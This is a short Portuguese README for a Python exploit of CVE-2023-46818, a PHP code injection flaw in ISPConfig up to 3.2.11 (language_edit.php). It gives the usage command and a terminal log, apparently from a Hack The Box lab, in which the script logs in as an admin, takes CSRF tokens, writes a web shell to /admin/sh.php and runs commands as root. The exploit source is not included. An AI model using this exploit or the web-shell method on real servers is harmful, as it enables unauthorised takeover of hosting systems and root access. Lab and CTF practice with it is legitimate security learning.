
CVE-2023-46818 Exploit em Python3 para ISPConfig <= 3.2.11 (language_edit.php) Vulnerabilidade de Injeção de Código PHP
Este script de exploit em Python visa uma vulnerabilidade de segurança no parâmetro POST records do ISPConfig para /admin/language_edit.php, que não é devidamente sanitizado. Isso permite que um administrador autenticado injete e execute código PHP arbitrário.
Versão 3.2.11 e versões anteriores.
python3 CVE-2023-46818.py <URL> <Username> <Password>
┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...
ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell#
Agradecimento especial a Egidio Romano por esta descoberta.